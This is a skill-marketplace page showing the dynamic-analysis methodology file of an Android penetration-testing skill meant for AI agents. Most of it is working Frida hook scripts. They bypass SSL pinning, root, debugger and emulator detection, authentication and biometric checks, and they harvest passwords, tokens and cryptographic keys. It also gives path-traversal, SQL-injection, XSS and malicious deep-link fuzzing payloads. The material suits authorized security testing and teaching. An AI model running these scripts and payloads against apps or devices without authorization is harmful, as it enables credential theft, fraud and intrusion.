All skills
hardw00t avatar

/android-pentest

@f9bb3b2

Comprehensive Android mobile application penetration testing with rooted-device ADB and Frida-based MCP tooling. Covers OWASP MASTG full methodology: recon, static + dynamic analysis, SSL/root bypass, IPC fuzzing, data exfiltration, crypto audit, and reporting. Triggers on requests to pentest Android apps, analyze APKs, bypass mobile security controls, or run MASVS/MASTG assessments.

Use this Skill: https://skilld.dev/gh/hardw00t/ai-security-arsenal/android-pentest

This session only. Nothing lands on disk.

methodologydynamic_analysis.md

≈5.5k tokens on demand. Your agent reads this file only when SKILL.md points to it.

Dynamic Analysis Methodology

Dynamic analysis involves testing the application at runtime to identify vulnerabilities that cannot be detected through static analysis alone. This includes bypassing security controls, manipulating application behavior, intercepting traffic, and extracting sensitive data.


Table of Contents

  1. Test Environment Setup
  2. Bypassing Security Protections
  3. Runtime Manipulation Techniques
  4. Hooking Strategies
  5. Traffic Interception Workflows
  6. Data Extraction Procedures
  7. Fuzzing Approaches
  8. Evidence Collection

Test Environment Setup

Device Preparation

Rooted Physical Device (Recommended)
# Verify device connection
adb devices

# Verify root access
adb shell su -c "id"
# Expected: uid=0(root) gid=0(root)

# Disable SELinux enforcement (if needed)
adb shell su -c "setenforce 0"

# Check SELinux status
adb shell getenforce
# Expected: Permissive
Emulator Setup
# Start emulator with writable system
emulator -avd <name> -writable-system

# For Google APIs images, get root
adb root
adb remount

Frida Server Installation

# Download matching Frida server version
FRIDA_VERSION=$(frida --version)
ARCH="arm64"  # or arm, x86, x86_64

# Push to device
adb push frida-server /data/local/tmp/frida-server
adb shell chmod 755 /data/local/tmp/frida-server

# Start Frida server
adb shell "su -c '/data/local/tmp/frida-server -D &'"

# Verify connection
frida-ps -U

MCP Tool Verification

# In Claude Code, verify MCP tools are available:

# Test device connection
get_app_info("com.android.settings")

# Test Frida connection
pid = frida_spawn("com.android.settings")
frida_enumerate_classes(pid, "android.widget.*")

Bypassing Security Protections

SSL/TLS Certificate Pinning Bypass

Method 1: Universal Frida Bypass (Most Apps)
# Using MCP tool
pid = frida_spawn("com.target.app")
frida_bypass_ssl(pid)

The universal bypass hooks:

  • TrustManagerImpl.checkTrustedRecursive
  • TrustManagerImpl.verifyChain
  • OkHttp3 CertificatePinner
  • WebViewClient.onReceivedSslError
  • HttpsURLConnection.setDefaultHostnameVerifier
  • Various third-party libraries (Retrofit, Volley, etc.)
Method 2: Library-Specific Bypass

OkHttp3:

frida_run_script(pid, """
Java.perform(function() {
    var CertificatePinner = Java.use('okhttp3.CertificatePinner');
    CertificatePinner.check.overload('java.lang.String', 'java.util.List').implementation = function(hostname, peerCerts) {
        console.log('[+] OkHttp3 pinning bypassed for: ' + hostname);
    };
});
""")

Flutter:

frida_run_script(pid, """
var flutter = Process.findModuleByName("libflutter.so");
if (flutter) {
    var sslVerify = Module.findExportByName("libssl.so", "SSL_CTX_set_custom_verify");
    if (sslVerify) {
        Interceptor.attach(sslVerify, {
            onEnter: function(args) {
                var noop = new NativeCallback(function() { return 0; }, 'int', ['pointer', 'pointer']);
                args[2] = noop;
            }
        });
        console.log('[+] Flutter SSL pinning bypassed');
    }
}
""")

Root Detection Bypass

Method 1: Universal Root Bypass
pid = frida_spawn("com.target.app")
frida_bypass_root(pid)

The universal bypass covers:

  • File existence checks for su binaries
  • Package manager queries for root apps
  • Build.TAGS checks
  • System property checks
  • Native access() and stat() calls
Method 2: Targeted Root Bypass

RootBeer Library:

frida_run_script(pid, """
Java.perform(function() {
    var RootBeer = Java.use('com.scottyab.rootbeer.RootBeer');
    RootBeer.isRooted.implementation = function() {
        console.log('[+] RootBeer.isRooted() bypassed');
        return false;
    };
    RootBeer.detectRootManagementApps.implementation = function() {
        return false;
    };
    RootBeer.checkForSuBinary.implementation = function() {
        return false;
    };
});
""")

Anti-Tampering / Integrity Bypass

Debugger Detection Bypass
frida_run_script(pid, """
Java.perform(function() {
    var Debug = Java.use('android.os.Debug');

    Debug.isDebuggerConnected.implementation = function() {
        console.log('[+] Debug.isDebuggerConnected() bypassed');
        return false;
    };

    Debug.waitingForDebugger.implementation = function() {
        console.log('[+] Debug.waitingForDebugger() bypassed');
        return false;
    };
});
""")
Frida Detection Bypass
frida_run_script(pid, """
// Hide Frida from port scanning
Java.perform(function() {
    var Socket = Java.use('java.net.Socket');
    Socket.$init.overload('java.lang.String', 'int').implementation = function(host, port) {
        if (port === 27042 || port === 27043) {
            console.log('[+] Frida port scan blocked: ' + port);
            throw Java.use('java.io.IOException').$new('Connection refused');
        }
        return this.$init(host, port);
    };
});

// Hide Frida from process enumeration
var strstr = Module.findExportByName('libc.so', 'strstr');
Interceptor.attach(strstr, {
    onEnter: function(args) {
        this.needle = args[1].readCString();
    },
    onLeave: function(retval) {
        if (this.needle && this.needle.indexOf('frida') !== -1) {
            retval.replace(ptr(0));
        }
    }
});
""")
Emulator Detection Bypass
frida_run_script(pid, """
Java.perform(function() {
    var Build = Java.use('android.os.Build');

    // Override emulator-specific Build fields
    Build.FINGERPRINT.value = 'google/walleye/walleye:8.1.0/OPM1.171019.011/4448085:user/release-keys';
    Build.MODEL.value = 'Pixel 2';
    Build.MANUFACTURER.value = 'Google';
    Build.BRAND.value = 'google';
    Build.DEVICE.value = 'walleye';
    Build.PRODUCT.value = 'walleye';
    Build.HARDWARE.value = 'walleye';

    // TelephonyManager
    var TM = Java.use('android.telephony.TelephonyManager');
    TM.getDeviceId.overload().implementation = function() {
        return '355458061189396';
    };
    TM.getSubscriberId.implementation = function() {
        return '310260000000000';
    };
});
""")

Runtime Manipulation Techniques

Method Hooking

Basic Method Hook
# Hook and log method calls
frida_hook_method(pid, "com.target.app.LoginManager", "authenticate")
Modifying Method Arguments
frida_run_script(pid, """
Java.perform(function() {
    var LoginManager = Java.use('com.target.app.LoginManager');

    LoginManager.authenticate.implementation = function(username, password) {
        console.log('[HOOK] Original credentials:');
        console.log('  Username: ' + username);
        console.log('  Password: ' + password);

        // Modify arguments before passing to original method
        var modifiedUsername = 'admin';
        var modifiedPassword = 'admin123';

        return this.authenticate(modifiedUsername, modifiedPassword);
    };
});
""")
Modifying Return Values
frida_run_script(pid, """
Java.perform(function() {
    var SecurityManager = Java.use('com.target.app.SecurityManager');

    // Force method to always return true
    SecurityManager.isUserAuthorized.implementation = function(userId, permission) {
        console.log('[HOOK] Authorization check bypassed');
        return true;  // Always authorized
    };

    // Force premium status
    var UserProfile = Java.use('com.target.app.UserProfile');
    UserProfile.isPremiumUser.implementation = function() {
        console.log('[HOOK] Premium check bypassed');
        return true;
    };
});
""")

Class Instantiation

Creating New Instances
frida_run_script(pid, """
Java.perform(function() {
    var User = Java.use('com.target.app.model.User');

    // Create new user instance
    var fakeUser = User.$new();
    fakeUser.setId(1337);
    fakeUser.setUsername('hacker');
    fakeUser.setRole('admin');

    console.log('[+] Created fake user: ' + fakeUser.toString());
});
""")
Accessing Existing Instances
frida_run_script(pid, """
Java.perform(function() {
    // Find all instances of a class
    Java.choose('com.target.app.session.SessionManager', {
        onMatch: function(instance) {
            console.log('[+] Found SessionManager instance');
            console.log('  Session ID: ' + instance.getSessionId());
            console.log('  User ID: ' + instance.getUserId());
            console.log('  Token: ' + instance.getAuthToken());

            // Modify the instance
            instance.setAdminFlag(true);
        },
        onComplete: function() {
            console.log('[+] Instance search complete');
        }
    });
});
""")

Memory Manipulation

Searching Memory
# Search for strings in memory
frida_memory_search(pid, "password")
frida_memory_search(pid, "-----BEGIN RSA PRIVATE KEY-----")
frida_memory_search(pid, "secret_key")

Hooking Strategies

Strategy 1: Authentication Bypass

// Complete authentication bypass strategy
frida_run_script(pid, """
Java.perform(function() {
    console.log('[*] Authentication Bypass Strategy Loaded');

    // 1. Hook login method
    try {
        var AuthService = Java.use('com.target.app.auth.AuthService');
        AuthService.login.implementation = function(username, password) {
            console.log('[AUTH] Login attempt: ' + username);
            var result = this.login(username, password);
            console.log('[AUTH] Login result: ' + result);
            return result;
        };
    } catch (e) { console.log('AuthService not found'); }

    // 2. Hook token validation
    try {
        var TokenValidator = Java.use('com.target.app.auth.TokenValidator');
        TokenValidator.isValid.implementation = function(token) {
            console.log('[AUTH] Token validation bypassed');
            return true;
        };
    } catch (e) { console.log('TokenValidator not found'); }

    // 3. Hook session checks
    try {
        var SessionManager = Java.use('com.target.app.session.SessionManager');
        SessionManager.isSessionValid.implementation = function() {
            console.log('[AUTH] Session validation bypassed');
            return true;
        };
    } catch (e) { console.log('SessionManager not found'); }

    // 4. Biometric bypass
    try {
        var BiometricPrompt = Java.use('android.hardware.biometrics.BiometricPrompt');
        BiometricPrompt.authenticate.overload('android.os.CancellationSignal', 'java.util.concurrent.Executor', 'android.hardware.biometrics.BiometricPrompt$AuthenticationCallback').implementation = function(cancel, executor, callback) {
            console.log('[AUTH] Biometric auth intercepted');
            var AuthenticationResult = Java.use('android.hardware.biometrics.BiometricPrompt$AuthenticationResult');
            var CryptoObject = Java.use('android.hardware.biometrics.BiometricPrompt$CryptoObject');
            var result = AuthenticationResult.$new(CryptoObject.$new(null));
            callback.onAuthenticationSucceeded(result);
            console.log('[AUTH] Biometric bypassed');
        };
    } catch (e) { console.log('BiometricPrompt not found'); }
});
""")

Strategy 2: Crypto Key Extraction

// Extract all cryptographic keys
frida_run_script(pid, """
Java.perform(function() {
    console.log('[*] Crypto Key Extraction Strategy Loaded');

    function bytesToHex(bytes) {
        var hex = '';
        for (var i = 0; i < bytes.length; i++) {
            hex += ('0' + (bytes[i] & 0xFF).toString(16)).slice(-2);
        }
        return hex;
    }

    // 1. Hook SecretKeySpec creation
    var SecretKeySpec = Java.use('javax.crypto.spec.SecretKeySpec');
    SecretKeySpec.$init.overload('[B', 'java.lang.String').implementation = function(keyBytes, algorithm) {
        console.log('[CRYPTO] SecretKeySpec created');
        console.log('  Algorithm: ' + algorithm);
        console.log('  Key (hex): ' + bytesToHex(keyBytes));
        return this.$init(keyBytes, algorithm);
    };

    // 2. Hook Cipher init with key
    var Cipher = Java.use('javax.crypto.Cipher');
    Cipher.init.overload('int', 'java.security.Key').implementation = function(mode, key) {
        var modeStr = mode === 1 ? 'ENCRYPT' : mode === 2 ? 'DECRYPT' : mode;
        console.log('[CRYPTO] Cipher.init');
        console.log('  Mode: ' + modeStr);
        console.log('  Key algorithm: ' + key.getAlgorithm());

        var encoded = key.getEncoded();
        if (encoded) {
            console.log('  Key (hex): ' + bytesToHex(encoded));
        }

        return this.init(mode, key);
    };

    // 3. Hook KeyStore key retrieval
    var KeyStore = Java.use('java.security.KeyStore');
    KeyStore.getKey.implementation = function(alias, password) {
        var key = this.getKey(alias, password);
        console.log('[CRYPTO] KeyStore.getKey');
        console.log('  Alias: ' + alias);
        if (key) {
            console.log('  Algorithm: ' + key.getAlgorithm());
        }
        return key;
    };
});
""")

Strategy 3: Network Traffic Analysis

// Comprehensive network monitoring
frida_run_script(pid, """
Java.perform(function() {
    console.log('[*] Network Traffic Analysis Strategy Loaded');

    // 1. Hook HttpURLConnection
    var URL = Java.use('java.net.URL');

    URL.openConnection.overload().implementation = function() {
        var conn = this.openConnection();
        console.log('[NET] URL.openConnection: ' + this.toString());
        return conn;
    };

    // 2. Hook OkHttp Request/Response
    try {
        var RequestBuilder = Java.use('okhttp3.Request$Builder');

        RequestBuilder.build.implementation = function() {
            var request = this.build();
            console.log('[NET] OkHttp Request');
            console.log('  URL: ' + request.url().toString());
            console.log('  Method: ' + request.method());

            var headers = request.headers();
            for (var i = 0; i < headers.size(); i++) {
                console.log('  Header: ' + headers.name(i) + ': ' + headers.value(i));
            }

            return request;
        };
    } catch (e) { console.log('OkHttp not found'); }
});
""")

Strategy 4: Data Leakage Detection

// Monitor all data storage operations
frida_run_script(pid, """
Java.perform(function() {
    console.log('[*] Data Leakage Detection Strategy Loaded');

    // 1. SharedPreferences writes
    var SharedPrefsEditor = Java.use('android.app.SharedPreferencesImpl$EditorImpl');

    SharedPrefsEditor.putString.implementation = function(key, value) {
        console.log('[DATA] SharedPreferences.putString');
        console.log('  Key: ' + key);
        console.log('  Value: ' + value);

        // Flag sensitive data
        if (key.toLowerCase().indexOf('password') !== -1 ||
            key.toLowerCase().indexOf('token') !== -1 ||
            key.toLowerCase().indexOf('secret') !== -1) {
            console.log('  [!] SENSITIVE DATA DETECTED');
        }

        return this.putString(key, value);
    };

    // 2. SQLite writes
    var SQLiteDatabase = Java.use('android.database.sqlite.SQLiteDatabase');

    SQLiteDatabase.insert.implementation = function(table, nullColumnHack, values) {
        console.log('[DATA] SQLite INSERT');
        console.log('  Table: ' + table);
        console.log('  Values: ' + values.toString());
        return this.insert(table, nullColumnHack, values);
    };

    // 3. File writes
    var FileOutputStream = Java.use('java.io.FileOutputStream');

    FileOutputStream.$init.overload('java.io.File').implementation = function(file) {
        console.log('[DATA] FileOutputStream: ' + file.getAbsolutePath());
        return this.$init(file);
    };

    // 4. Clipboard
    var ClipboardManager = Java.use('android.content.ClipboardManager');

    ClipboardManager.setPrimaryClip.implementation = function(clip) {
        console.log('[DATA] Clipboard write');
        var item = clip.getItemAt(0);
        if (item) {
            console.log('  Content: ' + item.getText());
        }
        return this.setPrimaryClip(clip);
    };
});
""")

Traffic Interception Workflows

Workflow 1: Proxy Setup with Burp Suite

# 1. Configure device proxy
setup_proxy("device-id", "192.168.1.100", 8080)

# 2. Install CA certificate
install_ca_cert("device-id", "/path/to/burp-ca.der")

# 3. Bypass SSL pinning
pid = frida_spawn("com.target.app")
frida_bypass_ssl(pid)

# 4. In Burp Suite:
#    - Configure proxy listener on 192.168.1.100:8080
#    - Enable invisible proxying
#    - Add target scope

# 5. After testing, clear proxy
clear_proxy("device-id")

Workflow 2: Traffic Capture without Proxy

# Start packet capture
capture_traffic_start("com.target.app")

# ... interact with application ...

# Stop capture
capture_traffic_stop()
# PCAP file saved for analysis with Wireshark

Data Extraction Procedures

Procedure 1: Complete Data Dump

# 1. Dump all storage types
databases = dump_databases("com.target.app")
prefs = dump_shared_prefs("com.target.app")
internal = dump_internal_storage("com.target.app")
external = dump_external_storage("com.target.app")
logs = get_logcat("com.target.app")

# 2. Analyze each dump for sensitive data
# Look for: credentials, tokens, PII, financial data, session info

Procedure 2: Runtime Credential Extraction

frida_run_script(pid, """
Java.perform(function() {
    var credentials = [];

    // Hook AccountManager
    var AccountManager = Java.use('android.accounts.AccountManager');

    AccountManager.getAccounts.implementation = function() {
        var accounts = this.getAccounts();
        for (var i = 0; i < accounts.length; i++) {
            credentials.push({
                type: 'Account',
                name: accounts[i].name,
                accountType: accounts[i].type
            });
            console.log('[CRED] Account: ' + accounts[i].name + ' (' + accounts[i].type + ')');
        }
        return accounts;
    };

    AccountManager.getPassword.implementation = function(account) {
        var password = this.getPassword(account);
        console.log('[CRED] Password for ' + account.name + ': ' + password);
        return password;
    };
});
""")

Fuzzing Approaches

Approach 1: Intent Fuzzing

# Get list of exported components
components = list_exported_components("com.target.app")

# Fuzz each exported activity with various payloads
for activity in components['activities']:
    # Path traversal
    fuzz_intent_extra("com.target.app", activity, "file_path", [
        "../../../etc/passwd",
        "/data/data/com.target.app/../com.other.app/databases/secrets.db",
        "file:///etc/passwd"
    ])

    # SQL injection
    fuzz_intent_extra("com.target.app", activity, "user_id", [
        "1",
        "1 OR 1=1",
        "1' OR '1'='1"
    ])

    # XSS (for WebView activities)
    fuzz_intent_extra("com.target.app", activity, "url", [
        "javascript:alert(document.cookie)",
        "data:text/html,<script>alert(1)</script>"
    ])

Approach 2: Content Provider Fuzzing

# Query with SQL injection payloads
providers = components['providers']

for provider in providers:
    uri = f"content://{provider['authority']}"

    # Basic query
    query_content_provider(uri)

    # SQL injection in selection
    query_content_provider(f"{uri}/users?selection=1%20OR%201=1")

    # Path traversal
    query_content_provider(f"{uri}/../../../etc/passwd")

Approach 3: Deep Link Fuzzing

# Test deep link schemes
deep_links = [
    "targetapp://login?user=admin&password=test",
    "targetapp://transfer?amount=1000&to=attacker",
    "targetapp://webview?url=javascript:alert(1)",
    "targetapp://file?path=../../../etc/passwd"
]

for link in deep_links:
    launch_activity("com.target.app", ".DeepLinkActivity", data_uri=link)

Evidence Collection

Collecting Screenshots

# Take screenshot during testing
get_screen_state()  # Includes screenshot

# Or via ADB
# adb shell screencap -p /sdcard/screenshot.png
# adb pull /sdcard/screenshot.png

Capturing Evidence Package

# Create comprehensive evidence collection
evidence = {
    'app_info': get_app_info("com.target.app"),
    'components': list_exported_components("com.target.app"),
    'databases': dump_databases("com.target.app"),
    'shared_prefs': dump_shared_prefs("com.target.app"),
    'internal_storage': dump_internal_storage("com.target.app"),
    'external_storage': dump_external_storage("com.target.app"),
    'logcat': get_logcat("com.target.app")
}

Video Recording

# Record device screen during testing
adb shell screenrecord /sdcard/test_session.mp4

# After testing
adb pull /sdcard/test_session.mp4

Quick Reference: Dynamic Analysis Checklist

  • Device/emulator properly configured with root access
  • Frida server running and connected
  • MCP tools verified working
  • SSL pinning bypassed
  • Root detection bypassed
  • Anti-tampering bypassed (if present)
  • Traffic interception configured
  • Crypto operations monitored
  • Credential storage monitored
  • All data storage types dumped
  • Exported components fuzzed
  • Deep links tested
  • Content providers tested
  • Evidence collected and documented

Source: SKILL.md on GitHub

1 warning16d4 checks · Risk SAFE
  • Gen Agent Trust Hub16d

    This skill provides a comprehensive environment and automated workflows for Android mobile application penetration testing. It interfaces with standard industry tools like ADB and Frida to perform security audits aligned with the OWASP MASTG methodology. While it performs sensitive operations like command execution and remote tool downloads, these are transparently implemented for its stated purpose using trusted sources.

  • Socket16d

    21 alerts: gptSecurity, gptAnomaly

  • Snyk16d

    Risk: LOW · No issues

  • ZeroLeaks5mo

    2 findings · Score: 80/100

Signed by skilld at f9bb3b2. This ties the file your Agent reads to that commit on GitHub. It does not review the instructions.

Last checked against GitHub 2 months ago.

Steadyupdated 6 months ago

README badge

README badge for hardw00t/ai-security-arsenal/android-pentest